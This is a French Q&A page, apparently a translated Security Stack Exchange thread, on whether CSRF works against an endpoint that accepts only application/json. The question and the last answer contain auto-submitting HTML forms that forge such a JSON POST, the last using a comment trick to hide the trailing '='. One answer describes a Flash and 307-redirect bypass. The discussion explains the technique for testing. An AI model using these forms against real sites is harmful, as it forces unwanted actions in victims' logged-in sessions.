web-dev-qa-db-fra.com

CSRF avec JSON POST lorsque Content-Type doit être application / json

Je teste une application Web pour laquelle des actions commerciales sont effectuées en envoyant des requêtes JSON comme par exemple:

POST /dataRequest HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 
Firefox/55.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Content-Type: application/json; charset=utf-8
Content-Length: 99
Cookie: SESSIONID=7jtyutuytu1a
Connection: close

{"F":"test.AppRequestFactory","I":[{"O":"5vhghgjhgjE0="}]}

J'ai créé la page de soumission automatique HTML comme celle-ci

<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
    <form id="xsrf" action="https://test.com/dataRequest" method=post enctype="text/plain">
    <input name='{"F":"test.AppRequestFactory","I":[{"O":""O":"5vhghgjhgjE0' value='"}]}' type='hidden'>
    </form>
</body>
</html>

Le problème est qu'il sera envoyé avec l'en-tête Content-Type: text/plain, Mais le serveur accepte uniquement Content-Type: application/json; charset=utf-8.

J'ai lu la discussion CSRF avec JSON POST où l'un des commentaires déclare:

Utilisez quelque chose comme ceci: var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'}); pour générer un blob JSON et il sera parfaitement envoyé. CSRF en quelques secondes!

Mais je ne sais pas comment utiliser cette approche.

Cette application est-elle vulnérable aux attaques CSRF?

14
user187205

Cette application est-elle vulnérable aux attaques CSRF?

Oui, c'est vulnérable. La condition préalable, cependant, est ici Flash . Avec l'aide de Flash, il est possible de forger un en-tête Content-type Avec n'importe quelle valeur arbitraire. Ce que vous devez faire est POST une demande à votre propre domaine, puis émettez une redirection 307. Veuillez vous référer à la capture d'écran ci-dessous:

x-domain application/json request

Pour plus d'informations, reportez-vous à cet article cm2.pw .

Utilisez quelque chose comme ceci: var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'}); pour générer un blob JSON et il sera parfaitement envoyé. CSRF en quelques secondes!

Cela, afaik, est déjà corrigé dans les navigateurs modernes. Cependant, cela fonctionne toujours dans IE avec l'URI du fichier.

Mise à jour :
Comme il y a encore beaucoup de vues ces derniers temps, j'ajoute des liens vers des correctifs; https://bugzilla.mozilla.org/show_bug.cgi?id=1436241https://bugs.chromium.org/p/chromium/issues/detail?id=33202

Pour une raison quelconque, le correctif de chrome ne fonctionne pas et permet toujours d'envoyer des requêtes POST avec des en-têtes Content-type Personnalisés.

11
1lastBr3ath

Attention: Cette réponse peut être erronée et trop optimiste. Voir réponse de 1lastBr3ath ci-dessus.

Non, je ne pense pas que l'application soit vulnérable.

Vous pouvez modifier le Content-Type en-tête, par exemple en utilisant fetch API . Cependant, il n'y a que trois valeurs que vous pouvez utiliser pour les demandes interdomaines:

application/x-www-form-urlencoded
multipart/form-data
text/plain

Si vous le remplacez par autre chose, tel que application/json, le navigateur fera d'abord une demande OPTIONS au serveur, pour voir s'il permet de modifier cet en-tête. Ce comportement fait partie de CORS , et il est conçu pour limiter les demandes interdomaines que vous pouvez faire avec JavaScript aux demandes à l'ancienne que vous pourriez faire avec du HTML simple . Donc, à moins que le serveur n'autorise spécifiquement un domaine à définir cet en-tête (ce qui serait stupide à faire), vous n'avez pas de chance.

Il faut cependant noter que cela semble être un cas de "sécurité par accident". Je compterais sur quelque chose de plus fort pour ma protection CSRF (et peut-être qu'ils le font, une fois que vous avez dépassé l'obstacle du type de contenu). Que se passe-t-il si un jour quelqu'un pense que ce serait bien si le serveur accepte d'autres types de contenu et supprime cette limitation? Avec cette configuration, il serait facile d'ouvrir accidentellement un trou de sécurité.

7
Anders

Une autre façon d'y parvenir est de profiter du fait que la plupart des analyseurs json respectent l'utilisation des commentaires. Ainsi, en créant un simple formulaire html avec une entrée cachée, vous pouvez mettre les données json comme nom de l'élément d'entrée afin de les publier dans le corps. Dans ce senario, le seul problème est que lorsque le formulaire est soumis, le corps du message aura le '=' (du format nom = valeur de l'entrée). Donc, pour éviter cela et rendre le json valide à nouveau, vous pouvez ajouter un indicateur de commentaire à la fin du nom (vos données json). De cette façon, le caractère "=" sera commenté lors de l'analyse.

Voici un exemple:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.example.com/" method="POST" enctype="text/plain">
      <input type="hidden" name='{"name":"value"}//' value="" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
0
cavla